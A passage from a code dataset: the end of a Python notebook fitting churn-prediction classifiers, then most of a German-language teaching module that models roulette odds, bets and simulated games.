]:\n\n\nroc_auc(y_proba_rf[:,1],'Random Forest Classifier')\n\n\n# ### Logistic Regression\n\n# In[ ]:\n\n\nlr = LogisticRegression()\nprint(lr.fit(X_train,y_train))\nprint(lr.score(X_train,y_train))\nprint(lr.score(X_test,y_test))\n\n\n# In[ ]:\n\n\npenalty = ['l1', 'l2']\nC = np.logspace(0, 4, 10)\nhyperparameters = dict(C=C, penalty=penalty)\nclf = GridSearchCV(lr, hyperparameters, cv=5, verbose=0)\ngrid_model = clf.fit(X_train, y_train)\n\n\n# In[ ]:\n\n\nprint('Best Penalty:', grid_model.best_estimator_.get_params()['penalty'])\nprint('Best C:', grid_model.best_estimator_.get_params()['C'])\n\n\n# In[ ]:\n\n\nprint(grid_model.score(X_train,y_train))\nprint(grid_model.score(X_test,y_test))\ny_pred_lr = grid_model.predict(X_test)\n\n\n# #### ROC-AUC Curve Logistic Regression\n\n# In[ ]:\n\n\ncm(y_pred_lr)\n\n\n# #### ROC-AUC Curve Logistic Regression\n\n# In[ ]:\n\n\ny_proba_lr = grid_model.predict_proba(X_test)\n\n\n# In[ ]:\n\n\nroc_auc(y_proba_lr[:,1],'Logistic Regression')\n\n\n", "meta": {"hexsha": "a9e0d94b247bc31fb596ed9be5be8cefbbe946be", "size": 15451, "ext": "py", "lang": "Python", "max_stars_repo_path": "relancer-exp/original_notebooks/blastchar_telco-customer-churn/telco-churn-recommendation-eda-classification.py", "max_stars_repo_name": "Chenguang-Zhu/relancer", "max_stars_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-05T22:27:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T22:27:49.000Z", "max_issues_repo_path": "relancer-exp/original_notebooks/blastchar_telco-customer-churn/telco-churn-recommendation-eda-classification.py", "max_issues_repo_name": "Chenguang-Zhu/relancer", "max_issues_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "relancer-exp/original_notebooks/blastchar_telco-customer-churn/telco-churn-recommendation-eda-classification.py", "max_forks_repo_name": "Chenguang-Zhu/relancer", "max_forks_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.7788844622, "max_line_length": 437, "alphanum_fraction": 0.720924212, "include": true, "reason": "import numpy", "num_tokens": 3878, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.17553807577999186, "lm_q1q2_score": 0.07618027125585862}}
{"text": "\ufeff#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n\n#                                      \n#  Roulette - Klasse  von zufall           \n#                                                 \n                                  \n#\n#  This file is part of zufall\n#\n#\n#  Copyright (c) 2019 Holger B\u00f6ttcher  hbomat@posteo.de\n#\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\")\n#  you may not use this file except in compliance with the License\n#  You may obtain a copy of the License at\n#  \n#      http://www.apache.org/licenses/LICENSE-2.0\n# \n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n#  \n\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\nfrom sympy import Rational, Integer, nsimplify\nfrom sympy.core.compatibility import iterable\nfrom sympy.printing.latex import latex\n\nfrom zufall.lib.objekte.basis import ZufallsObjekt\nfrom zufall.lib.objekte.gleich_verteilung import GleichVerteilung\nfrom zufall.lib.objekte.datenreihe import DatenReihe\nfrom zufall.lib.funktionen.graf_funktionen import verlauf as verlauf_grafik\n\nfrom zufall.lib.objekte.ausnahmen import ZufallError\n\n\n\n# Roulette - Klasse  \n# -----------------\n\t\nclass Roulette(ZufallsObjekt):                                      \n    \"\"\"\n\t\nRoulette - Spiel\n\t\n**Erzeugung** \n\n   Roulette( ) \n   \t\t \n    \"\"\"\t\t\t\n\t\t\t\n    def __new__(cls, *args, **kwargs):  \n\t\t\t\n        if kwargs.get(\"h\") in (1, 2, 3, 4):                         \n            roulette_hilfe(kwargs[\"h\"])\t\t\n            return\n  \n        cls.colonne1     = {1,4,7,10,13,16,19,22,25,28,31,34} \n        cls.colonne2     = {2,5,8,11,14,17,20,23,26,29,32,35} \t\t\t \n        cls.colonne3     = {3,6,9,12,15,18,21,24,27,30,33,36}\t\t\t\n        cls.douze_premier = set(range(1, 13))\t\t\t \n        cls.douze_milieu  = set(range(13, 25))\t\t\t\n        cls.douze_dernier = set(range(25, 37))\t\t\t \n        cls.pair         = set(range(2, 37, 2))          \n        cls.impair       = set(range(1, 36, 2))\t\t\t\n        cls.rouge        = {1,3,5,7,9,12,14,16,18,19,21,23,25,27,30,32,34,36}\t\t\t\n        cls.noir         = set(range(1, 37)).difference(cls.rouge)\t\t\n        cls.manque       = set(range(1, 19))\t\t\t\n        cls.passe        = set(range(19, 37))\t\t\t\n\t\t\n        return ZufallsObjekt.__new__(cls)\n\t\t\t\t\t\n\t\t\t\n    def __str__(self):  \n        return \"Roulette\"\n\t\t\n\t\t\n\t\t\n# Eigenschaften + Methoden\n# ------------------------\n\n    @property\n    def omega(self):\n        \"\"\"Ergebnismenge\"\"\"\t\n        return set(range(37))\n\t\t\n    @property\n    def regeln(self):\n        \"\"\"Regeln f\u00fcr Roulettespiel\"\"\"\t\n\t\t\n        print(\"\\nRoulette - Gl\u00fccksspiel\\n\")\n        print(\"Eine Kugel wird in eine sich drehende Scheibe geworfen. Sie landet in \") \n        print(\"einem der Felder 0 bis 36, die auf der Scheibe in bunter Reihenfolge\")\n        print(\"angeordnet sind (Gewinnfeld)\\n\")\n        print(\"Auf dem Spielbrett setzt man Spielmarken (Chips) und gewinnt, wenn die \") \n        print(\"Vorhersage eintrifft, das hei\u00dft, wenn das Gewinnfeld durch die getrof-\")\n        print(\"fene Wahl erfa\u00dft wird; zu den Setzm\u00f6glichkeiten siehe Hilfeseite\\n\")\n        print(\"Wenn die Vorhersage nicht eintrifft, ist der gesetzte Chip verloren \") \n        print(\"Das entspricht einer Gewinnquote von -1 : 1\\n\")\n        return\t\t\n\t\t\n    @property\n    def brett(self):\n        \"\"\"Spielbrett / -tisch (Abbildung)\"\"\"\t\t\t\n\t\t\n        def pline(x, y):\n            return plt.plot(x, y, color=(0,0,0), lw=0.8)\n\n        def prot(x, y, t):\n            return ax.text(x, y, t, fontsize=9, horizontalalignment='center', \n                  verticalalignment='center', color=(1,0,0), \n                  fontname='Times New Roman')\n\n        def pblack(x, y, t):\n            return ax.text(x, y, t, fontsize=9, horizontalalignment='center', \n                   verticalalignment='center', color=(0,0,0),\n                   fontname='Times New Roman')\n\n        def punt(x, y):\n            ax.text(x, y, '12', fontsize=6, horizontalalignment='center', \n                  verticalalignment='center', color=(0,0,0),\n                   fontname='Times New Roman')\n\n        dx, dy = 1.5, 1.5\n        fig = plt.figure(figsize=(3, 4))\n        ax = fig.add_subplot(1, 1, 1)\n        ax.spines['top'].set_visible(False)\t\t\n        ax.spines['bottom'].set_visible(False)\t\t\n        ax.spines['right'].set_visible(False)\t\t\n        ax.spines['left'].set_visible(False)\t\t\n        ax.set_xticks([])\n        plt.axes().xaxis.set_ticks_position('none')\n        ax.set_yticks([])\n        plt.axes().yaxis.set_ticks_position('none')\n        plt.xlim(0, 10*dx)\n        plt.ylim(-0.1, 15*dy)\n        pline([3*dx, 6*dx, 6*dx, 3*dx, 3*dx], [0, 0, 14*dy, 14*dy, 0])\n        pline([4*dx, 4*dx], [dy, 13*dy])\n        pline([5*dx, 5*dx], [dy, 13*dy])\n        for i in range(1, 14):\n            pline([3*dx, 6*dx], [i*dy, i*dy])\n        pline([0, 0], [2*dy, 12*dy])\n        pline([9*dx, 9*dx], [2*dy, 12*dy])\n        pline([3*dx, 0], [dy, 2*dy])\n        pline([3*dx, 0], [2*dy, 3*dy])\n        pline([6*dx, 9*dx], [dy, 2*dy])\n        pline([6*dx, 9*dx], [2*dy, 3*dy])\n        pline([0, 3*dx], [12*dy, 13*dy])\n        pline([9*dx, 6*dx], [12*dy, 13*dy])\n        pline([0, 9*dx], [5*dy, 5*dy])\n        pline([0, 9*dx], [9*dy, 9*dy])\n        pline([2*dx, 2*dx], [1.35*dy, 2.3*dy])\n        pline([7*dx, 7*dx], [1.35*dy, 2.3*dy])\n        pline([dx, dx], [1.7*dy, 2.65*dy])\n        pline([8*dx, 8*dx], [1.7*dy, 2.65*dy])\n        ax.add_patch(patches.RegularPolygon(\n            (1.7*dx, 3.7*dy), 4, 0.6*dx, color=(0,0,0)))\n        ax.add_patch(patches.RegularPolygon(\n            (7.4*dx, 3.7*dy), 4, 0.6*dx, facecolor=(1,0,0)))\n        ax.text(4.5*dx, 13.4*dy, '0', fontsize=9, horizontalalignment='center', \\\n               verticalalignment='center', color=(0,1,0))\n        prot(3.5*dx, 12.4*dy, '1')\n        pblack(4.5*dx, 12.4*dy, '2')\n        prot(5.5*dx, 12.4*dy, '3')\n        pblack(3.5*dx, 11.4*dy, '4')\n        prot(4.5*dx, 11.4*dy, '5')\n        pblack(5.5*dx, 11.4*dy, '6')\n        prot(3.5*dx, 10.4*dy, '7')\n        pblack(4.5*dx, 10.4*dy, '8')\n        prot(5.5*dx, 10.4*dy, '9')\n        pblack(3.5*dx, 9.4*dy, '10')\n        pblack(4.5*dx, 9.4*dy, '11')\n        prot(5.5*dx, 9.4*dy, '12')\n        pblack(3.5*dx, 8.4*dy, '13')\n        prot(4.5*dx, 8.4*dy, '14')\n        pblack(5.5*dx, 8.4*dy, '15')\n        prot(3.5*dx, 7.4*dy, '16')\n        pblack(4.5*dx, 7.4*dy, '17')\n        prot(5.5*dx, 7.4*dy, '18')\n        prot(3.5*dx, 6.4*dy, '19')\n        pblack(4.5*dx, 6.4*dy, '20')\n        prot(5.5*dx, 6.4*dy, '21')\n        pblack(3.5*dx, 5.4*dy, '22')\n        prot(4.5*dx, 5.4*dy, '23')\n        pblack(5.5*dx, 5.4*dy, '24')\n        prot(3.5*dx, 4.4*dy, '25')\n        pblack(4.5*dx, 4.4*dy, '26')\n        prot(5.5*dx, 4.4*dy, '27')\n        pblack(3.5*dx, 3.4*dy, '28')\n        pblack(4.5*dx, 3.4*dy, '29')\n        prot(5.5*dx, 3.4*dy, '30')\n        pblack(3.5*dx, 2.4*dy, '31')\n        prot(4.5*dx, 2.4*dy, '32')\n        pblack(5.5*dx, 2.4*dy, '33')     \n        prot(3.5*dx, 1.4*dy, '34')\n        pblack(4.5*dx, 1.4*dy, '35')\n        prot(5.5*dx, 1.4*dy, '36')  \n        pblack(0.5*dx, 2.4*dy, 'P')    \n        pblack(8.5*dx, 2.4*dy, 'P')   \n        punt(0.7*dx, 2.13*dy)\n        punt(8.7*dx, 2.13*dy)\n        pblack(1.35*dx, 2.07*dy, 'M')    \n        pblack(7.35*dx, 2.07*dy, 'M')   \n        punt(1.72*dx, 1.85*dy)\n        punt(7.72*dx, 1.85*dy)    \n        pblack(2.45*dx, 1.75*dy, 'D')    \n        pblack(6.45*dx, 1.75*dy, 'D')   \n        punt(2.75*dx, 1.48*dy)\n        punt(6.75*dx, 1.48*dy)   \n        pblack(1.5*dx, 10.5*dy, 'Passe')\n        pblack(7.5*dx, 10.5*dy, 'Manque')\n        pblack(1.5*dx, 7*dy, 'Pair')\n        pblack(7.5*dx, 7*dy, 'Impair')\n       \n        plt.show()\n\n    tisch = brett\n\t\n    @property\n    def formeln(self):\n        \"\"\"Berechnungsformeln\"\"\"\t\n\t\n        def dm(x):\n            return display(Math(x))\t\t\n\t\t\n        print(' ')\t\t\n        dm('\\mathrm{Gewinnerwartung\\;beim\\; Roulette - Spiel}')\n        print(' ')\t\n        dm('\\mathrm{Gewinnerwartung\\; bei\\; einer\\; Setzm\u00f6glichkeit\\; (Chance):}')\n        dm('\\\\qquad GewinnQuote \\cdot GewinnWahrscheinlichkeit\\, + \\, (-1) \\cdot VerlustWahrscheinlichkeit')\n        dm('\\\\qquad \\mathrm{(\\,-1 = Verlustquote\\;[gesetzter\\;Chip]\\,)}')\n        dm('\\mathrm{Die\\; Wahrscheinlichkeiten\\; der\\; Chancen\\; werden\\; so\\; berechnet:}')\t\t\n        dm('\\qquad P( Chance ) = (Anzahl\\; der\\; Zahlen\\; in\\; der\\; Chance)\\; / \\;37')\t\n        print(' ')\t\t\n        dm('\\mathrm{ Erwartung\\; bei\\; den\\; einzelnen\\; Chancen: \\\\qquad (s.a.\\; Hilfeseite)}')\n        dm('\\mathrm{ Chance \\\\qquad\\\\qquad\\;\\; Anzahl \\\\qquad Erwartung \\;\\\\qquad\\\\qquad\\\\quad\t\\, in\\; \\% \\;zum}')\n        dm('\\mathrm{\\\\qquad\\\\qquad\\\\qquad\\\\quad\\, Zahlen\t\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\\\\qquad\tEinsatz}')\t\n        dm('\\mathrm{plein} \\;\\,\\\\qquad\\\\qquad\\\\quad\\\\quad\\\\quad 1 \\\\quad\\\\quad\t35 \\\\cdot \\\\frac{1}{37} - \\\\frac{36}{37} = -\\\\frac{1}{37} \\\\quad\\\\quad -2.7 \\%')\t\t\n        dm('\\mathrm{a\\; cheval} \\;\\\\qquad\\\\qquad\\\\quad\\\\quad 2 \\\\quad\\\\quad\t17 \\\\cdot \\\\frac{2}{37} - \\\\frac{35}{37} = -\\\\frac{1}{37} \\\\quad\\\\quad -2.7 \\%')\t\t\n        dm('\\mathrm{transversale\\; plein} \\\\quad\\\\qquad 3 \\\\quad\\\\quad\t11 \\\\cdot \\\\frac{3}{37} - \\\\frac{34}{37} = -\\\\frac{1}{37} \\\\quad\\\\quad -2.7 \\%')\t\t\n        dm('\\mathrm{carre} \\;\\,\\\\qquad\\\\qquad\\\\quad\\\\quad\\\\quad 4 \\\\quad\\\\quad\t8 \\\\cdot \\\\frac{4}{37} - \\\\frac{33}{37} = -\\\\frac{1}{37} \\;\\,\\\\quad\\\\quad -2.7 \\%')\t\t\n        dm('\\mathrm{transversale\\; simple} \\,\\;\\\\qquad 6 \\\\quad\\\\quad\t5 \\\\cdot \\\\frac{6}{37} - \\\\frac{31}{37} = -\\\\frac{1}{37} \\;\\\\quad\\\\quad -2.7 \\%')\t\t\n        dm('\\mathrm{Kolonne,\\; Dutzend} \\,\\,\\\\qquad 12 \\\\quad\\\\quad\t2 \\\\cdot \\\\frac{12}{37} - \\\\frac{25}{37} = -\\\\frac{1}{37} \\;\\\\quad\\\\quad -2.7 \\%')\t\t\n        dm('\\mathrm{einfache\\; Chancen} \\;\\;\\\\qquad 18 \\\\quad\\\\quad\t1 \\\\cdot \\\\frac{18}{37} - \\\\frac{19}{37} = -\\\\frac{1}{37} \\;\\\\quad\\\\quad -2.7 \\%')\t\t\n        print(' ')\t\t\n\t\t\n\t\t\n    def P(self, *args, **kwargs):\n        \"\"\"Wahrscheinlichkeit eines Ereignisses\"\"\"\n\t\t\n        if kwargs.get('h'):\n            print(\"\\nWahrscheinlichkeit eines Ereignisses\\n\")\n            print(\"Aufruf   r . P( e )\\n\")\t\t                     \n            print(\"                r    Roulette-Objekt\")\n            print(\"                e    Zahl aus {0,...,36} | Menge/Liste/Tupel von Zahlen |\")\n            print(\"                     Chance beim einmaligen Spielen (s. Hilfeseite)\\n\")\n            print(\"  oder   r . P( e, e1 )\\n\")\t\t                     \n            print(\"Bei der Angabe von zwei Ereignissen wird die bedingte Wahrscheinlich-\")\n            print(\"keit P( e | e1 ) berechnet\\n\")\n            print(\"Beispiele\")\n            print(\"r.P( 4 )   r.P( {12} )   r.P( r.colonne1 )\")\n            print(\"r.P( { 28, 29, 30 } )    r.P( [28, 29, 30] )\")   \n            print(\"r.P( 'r.rouge und r.pair' )\") \n            print(\"r.P( 12, r.rouge )   (bedingte Wahrscheinlichkeit)\\n\")\t\t\t\n            return\t\t\t\n\t\t\t\n        if len(args) not in (1, 2):\n            print('zufall: ein oder zwei Ereignisse angeben')\n            return\t\n\n        def teil(x):\n            if isinstance(x, set):\n                return all([y in omega for y in x])\n            else:\n                if x in omega:\n                    return True\n                return False\n\t\t\t   \n        omega = self.omega\t\t\n\t\t\t\t  \n        if len(args) == 1:\n            e = args[0]\n            if e == 0:\n                pp = Rational(1, 37)\t\t\t\n            elif not e:\n                pp = 0\t\t\t\n            elif not iterable(e) and e in omega:\t\t\t\t\t\n                pp = Rational(1, 37)\n            elif iterable(e):\n                if not all([x in omega for x in e]):\n                    print('zufall: Elemente der Ergebnismenge angeben')\n                    return\n                if not len(e) in (1, 2, 3, 4, 6, 12, 18):\t\t\t\t\t\n                    print('zufall: 1,2,3,4 oder 6 Zahlen oder benannte Chance angeben')\n                    return\n                if len(e) == 2:\n                    if not set(e) in _a_cheval:\n                        print('zufall: keine a_cheval-Chance')\n                        return\n                elif len(e) == 3:\n                    if not set(e) in _transversale_plein:\n                        print('zufall: keine transversale_plein-Chance')\n                        return\n                elif len(e) == 4:\n                    if not set(e) in _carre:\n                        print('zufall: keine carre-Chance')\n                        return\n                elif len(e) == 6:\n                    if not set(e) in _transversale_simple:\n                        print('zufall: keine transversale_simple-Chance')\n                        return\n                elif len(e) == 12:\n                     if not set(e) in [self.colonne1, self.colonne2, self.colonne3, self.douze_premier, \\\n\t\t\t\t           self.douze_milieu, self.douze_dernier]:\n                         print('zufall: keine Chance mit 12 Zahlen')\n                         return\n                elif len(e) == 18:\n                     if not set(e) in [self.pair, self.impair, self.rouge, self.noir, self.manque, \\\n                         self.passe]:\n                         print('zufall: keine Chance mit 18 Zahlen')\n                         return\n                pp = Rational(len(e), 37)\t\t\t\t\t\n            elif isinstance(e, str):\n                uu, oo, nn = e.find('und'), e.find('oder'), e.find('nicht')\t\t\t\n                try:\n                    if uu >= 0:\n                        a, b = e[:uu].strip(), e[uu+3:].strip() \t\t\t\t\t  \n                        ia, ib = a.find('.'), b.find('.')\n                        a, b = a[ia+1:], b[ib+1:]\n                        a, b = 'self.' + a, 'self.' + b\t\t\t\t\t\t\n                        a, b = eval(a), eval(b)\n                        if not (teil(a) and teil(b)):\n                            print('zufall: Ereignisse bei Roulette angeben')\n                            return\n                        if isinstance(a, set):\t\t\t\t\t\t\t\n                            if isinstance(b, set):\t\t\t\t\t\t\t\n                                ee = a.intersection(b)\n                            else:\t\t\t\t\t\t\t\t\n                                ee = a.intersection(set([b]))\n                        else:\t\n                            if isinstance(b, set):\t\t\t\t\t\t\t\n                                ee = set([a]).intersection(b)\n                            else:\t\t\t\t\t\t\t\t\n                                ee = set([a]).intersection(set([b]))\t\t\t\t\t\t\n                        pp = Rational(len(ee), 37)\t\t\t\t\t\t\t\t\t\t\t\n                    elif oo > 0:\n                        a, b = e[:oo].strip(), e[oo+3:].strip()\t\t\t\t\t  \n                        ia, ib = a.find('.'), b.find('.')\n                        a, b = a[ia+1:], b[ib+1:]\n                        a, b = 'self.' + a, 'self.' + b\t\t\t\t\t\t\n                        a, b = eval(a), eval(b)\n                        if not (teil(a) and teil(b)):\n                            print('zufall: Ereignisse bei Roulette angeben')\n                            return\n                        if isinstance(a, set):\t\t\t\t\t\t\t\n                            if isinstance(b, set):\t\t\t\t\t\t\t\n                                ee = a.union(b)\n                            else:\t\t\t\t\t\t\t\t\n                                ee = a.union(set([b]))\n                        else:\t\n                            if isinstance(b, set):\n                                ee = set([a]).union(b)\n                            else:\t\t\t\t\t\t\t\t\n                                ee = set([a]).union(set([b]))\t\t\t\t\t\t\n                        pp = Rational(len(ee), 37)\t\t\t\t\t\t\t\t\t\t\t\n                    elif nn >= 0:\n                        a = e[nn+5:].strip()\t\t\t\t  \n                        ia = a.find('.')\n                        a = a[ia+1:]\n                        a = 'self.' + a\t\t\t\t\t\t\n                        a = eval(a)\n                        if not teil(a):\n                            print('zufall: Ereignis bei Roulette angeben')\n                            return\n                        if isinstance(a, set):\t\t\t\t\t\t\t\n                           ee = omega.difference(a)\n                        else:\n                            ee = omega.difference(set([a]))\t\t\t\t\t\t\n                        pp = Rational(len(ee), 37)\t\t\t\t\t\t\t\t\t\t\t\n                    else:\n                        ee = eval(e)\n                        pp = Rational(len(ee), 37)\t\t\t\t\t\t\t\t\t\t\t\n                except:\n                    print('zufall:', 'Ausdruck \u00fcberpr\u00fcfen')\n                    return\t\t\t\n            else:\n                print('zufall: Ereignis bei Roulette angeben')\n                return\n\t\t\t\t\t\t\t\n        elif len(args) == 2: \n            e1, e2 = args\t\n            if iterable(e1):\n                e1 = set(e1)\t\t\t\n            if iterable(e2):\n                e2 = set(e2)\n            try:\t\t\t\n                if isinstance(e1, set):\n                    if isinstance(e2, set):\n                        ee = e1.intersection(e2)\n                    else:\n                        ee = e1.intersection(set([e2]))\n                else:\n                    if isinstance(e2, set):\n                        ee = set([e1]).intersection(e2)\n                    else:\n                        ee = set([e1]).intersection(set([e2]))\n                pp1, pp2 = self.P(ee), self.P(e2)\n                pp = nsimplify(pp1 / pp2, rational=True)\n            except:\n                print('zufall: die Angaben bitte \u00fcberpr\u00fcfen')\t\n                return\n            \t\t\t\n        return pp\t\n\t\t\n\t\t\n    def spiel(self, *args, **kwargs):\n        \"\"\"Spiel\"\"\"\n\t\t\n        if kwargs.get('h'):\n            print(\"\\nSpiel     ( Roulette )\\n\")\n            print(\"Aufruf    r . spiel( chance /[, m ] )\\n\")\t\t                     \n            print(\"              r        Roulette-Objekt\")\n            print(\"              chance   gesetzte Chance - einzelne Zahl oder Menge von \")\n            print(\"                       1-6 Zahlen aus {0,1,...,36} | r.colonne1 |\") \n            print(\"                       r.colonne2 | r.colonne3 | r.douze_premier |\")\n            print(\"                       r.douze_milieu | r.douze_dernier | r.pair |\") \n            print(\"                       r.impair | r.rouge | r.noir | r.manque |\") \n            print(\"                       r.passe\")\t\t\t\n            print(\"              m        Anzahl Spiele; Standard=1\\n\")\t\t\t\n            print(\"Zusatz   g=ja   Grafik des Gewinn-Verlaufes\")\n            print(\"         m=ja   Grafik des Verlaufes des mittleren Gewinns\")\n            print(\"         d=ja   Bei Angabe von m > 1 R\u00fcckgabe einer DatenReihe mit dem\") \n            print(\"                Gewinn/Verlust je Spiel\")\n            print(\"         gd=ja  Gewinnverlauf + DatenReihe\")\n            print(\"         md=ja  Mittlerer Gewinn + DatenReihe\\n\")\n            return\t\t\t\n\n        try:\t  \n            if len(args) not in (1, 2):\n                raise ZufallError(\"ein oder zwei Argumente angeben\")\n            chance = args[0]\t\t\t\n            if not (iterable(chance) or isinstance(chance, (int, Integer))):\n                raise ZufallError(\"einzelne Zahl oder Menge von Zahlen angeben\")\t\t\t\t\t\n            if isinstance(chance, (int, Integer)):\n                if chance not in self.omega:\n                    raise ZufallError(\"Element der Ergebnismenge angeben\")\t\t\t\t\t\n                chance = set([chance])\t\n            else:\n                chance = set(chance)\n                if not all([x in self.omega for x in chance]):\n                    raise ZufallError(\"Element der Ergebnismenge angeben\")\t\t\t\t\t\n                if len(chance) == 1:\n                    if list(chance)[0] not in self.omega:\t\t\t\n                        raise ZufallError(\"keine g\u00fcltige Chance\")\t\t\t\t\t\n                elif len(chance) == 2:\n                    if chance not in _a_cheval:\t\t\t\n                        raise ZufallError(\"keine g\u00fcltige a_cheval-Chance\")\t\t\t\t\t\n                elif len(chance) == 3:\n                   if chance not in _transversale_plein:\t\t\t\n                        raise ZufallError(\"keine g\u00fcltige transversale_plein-Chance\")\t\t\t\t\t\t\t\t\t\t\t\n                elif len(chance) == 4:\n                    if chance not in _carre:\t\t\t\n                        raise ZufallError(\"keine g\u00fcltige carre-Chance\")\t\t\t\t\t\n                elif len(chance) == 6:\n                    if chance not in _transversale_simple:\t\t\t\n                        raise ZufallError(\"keine g\u00fcltige transversale_simple-Chance\")\t\t\t\t\t\t\t\t\n                elif len(chance) == 12:\n                    if chance not in [self.colonne1, self.colonne2, self.colonne3,\n                        self.douze_premier, self.douze_milieu, self.douze_dernier]:\t\t\t\n                        raise ZufallError(\"keine g\u00fcltige Chance\")\t\t\t\t\t\n                elif len(chance) == 18:\n                    if chance not in [self.pair, self.impair, self.rouge, self.noir,\n                        self.manque, self.passe]:\t\t\t\n                        raise ZufallError(\"keine g\u00fcltige Chance\")\t\t\t\t\t\n                else:\n                    raise ZufallError(\"keine g\u00fcltige Chance\")\n\t\t\t\t\t\n            m = 1\t\t\t\n            if len(args) == 2:\n                m = args[1]\t\t\t\n                if not (isinstance(m, (int, Integer)) and m > 0):\t\t\t\n                    raise ZufallError(\"f\u00fcr m ganze Zahl > 0 angebem\")\t\t\t\t\t\n\t\t\n        except ZufallError as e:\n            print('zufall:', str(e))\n            return\n\t\t\t\n        def dm(x):\n            return display(Math(x))\n        \t\t\t\n        vv = GleichVerteilung(37)  \n        if len(args) == 1 or len(args) == 2 and m == 1:\t\t\n            erg = vv.versuch - 1   # die Gleichverteilung ist auf {1,2,...,37} definiert\t\n            print(' ')\t\t\t\n            dm('\\mathrm{Gesetzt\\;\\, :\\;\\; }' + latex(chance))\t\t\n            dm('\\mathrm{Ergebnis:\\;\\; }' + str(erg))\n            txt = '\\mathrm{Spiel\\;gewonnen}' if erg in chance else '\\mathrm{Spiel\\;verloren}'\t\t\t\n            dm(txt)\t\t\n            print(' ')\n            return\t\t\t\n        else:\n            gewinn = dict([(1, 35), (2, 17), (3, 11), (4, 8), (6, 5), (12, 2), (18, 1)])\t\t\n            sp = vv.stich_probe(m)\n            sp = [x-1 for x in sp]\t\t\t\n            dr = [ (gewinn[len(chance)] if x in  chance else -1) for x in sp]\n\n            if kwargs.get('g') or kwargs.get('gd'):\n                print(' ')\t\t\t\n                dm('\\\\qquad\\mathrm{Verlauf\\;des\\;Gewinns,\\;aktueller\\;Gewinn}')\t\t\t\n                verlauf_grafik(dr, art='summe', xlabel='Anzahl Spiele')\n            elif kwargs.get('m') or kwargs.get('md'):\t\n                pass\n                print(' ')\t\t\t\n                dm('\\\\qquad\\mathrm{Verlauf\\;des\\; mittleren\\;Spielgewinnes}') \n                dm('\\\\qquad\\mathrm{gr\u00fcn-theoretischer\\; Erwartungswert\\;bei\\;einem\\;Spiel\\; (-1/37)}')\t\t\t\n                verlauf_grafik(dr, art='mittel', vergl=float(-1/37), xlabel='Anzahl Spiele')\n\t\t\t\n            if not kwargs:\t\t\t\n                L = len(dr)\t\t\t\n                G = dr.count(1)\t\n                V = L - G\n                p = float((G-V)/L * 100)\n                print(' ')\t\t\t\n                dm('\\mathrm{Gesetzt\\;\\,\\; :  \\;\\; }' + latex(chance))\t\t\n                dm('\\mathrm{Gewonnen\\;(1):  \\;\\; }' + str(G))\n                dm('\\mathrm{Verloren\\;(-1):\\;\\; }' + str(V))\n                dm('\\mathrm{Gesamt\\;\\\\quad\\\\quad\\,:\\; }' + str(G-V) + '=' + '{0:.2f}'.format(p) + '\\%')\n            if kwargs.get('d') or kwargs.get('gd') or kwargs.get('md'):\t\t\t\n                dm('\\mathrm{R\u00fcckgabe\\; einer\\; DatenReihe\\; mit \\;dem\\;Gewinn\\,/\\,Verlust\\;je\\;Spiel}')\n                print(' ')\t\t\t\n                return DatenReihe(dr)\t\t\t\t\n            print(' ')\t\t\t\n            \n\t\t\t\n    @property\t\t\n    def hilfe(self):  \n        \"\"\"Bezeichner der Eigenschaften und Methoden\"\"\"\n        roulette_hilfe(3)\t\n\t\t\n    h = hilfe\t\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n# Benutzerhilfe f\u00fcr Roulette\n# --------------------------\n\ndef roulette_hilfe(h):\n   \n    if h == 1:\n        print(\"h=2 - Erzeugung\")\n        print(\"h=3 - Eigenschaften und Methoden\")\n        print(\"h=4 - Ereignisse\")\n        return\n\t\t   \n    if h == 2:\n        print(\"\"\" \\\n\t\t\nRoulette - Objekt\n\t\nErzeugung    Roulette( )\n\t\t\t\t \nZuweisung    r = Roulette()   (r - freier Bezeichner)\n\t   \"\"\")\n        return \n\t\t\n    if h == 3:   \n        print(\"\"\" \\\n\t\t\nEigenschaften und Methoden (M) f\u00fcr Roulette\n \t\nr.hilfe          Bezeichner der Eigenschaften und Methoden\nr.brett          Spielbrett (Abbildung)\nr.formeln        Berechnungsformeln\nr.omega          Ergebnismenge\nr.P(...)      M  Wahrscheinlichkeiten beim einmaligen Spielen\nr.regeln         Spielregeln\nr.spiel(...)  M  Spiel\nr.tisch          = s.brett\n\nSynonymer Bezeichner\n\nhilfe   h\n\"\"\")\n        return \n\t\t\n    if h == 4:   \n        print(\"\"\" \\\n\t\t\nEreignisse (Setzm\u00f6glichkeiten, Chancen) beim einmaligen Roulette-\nSpiel\n\n(Unbenannte) Ereignisse, die \u00fcber die Menge der Zahlen angegeben \nwerden:\n                                                                   Anzahl   Gewinn-\nName                Beschreibung                                   Zahlen    quote                                   \n                                                                   \nplein               einzelne Zahl               z.B. 3 bzw. {3}         1   35 : 1\na_cheval            zwei angrenzende Zahlen     z.B. {13,16}            2   17 : 1\ntransversale_plein  Querreihe von drei Zahlen   z.B. {28,29,30}         3   11 : 1\ncarre               vier Zahlen, deren Felder   z.B. {14,15,17,18}      4    8 : 1\n                    in einem Punkt zusammensto-  \n                    \u00dfen bzw. die ersten vier \n                    Zahlen \t\t\t\ntransversale_simple zwei benachbarte Querreihen z.B. {7,8 9,10,11,12}   6    5 : 1\n\nKolonne und 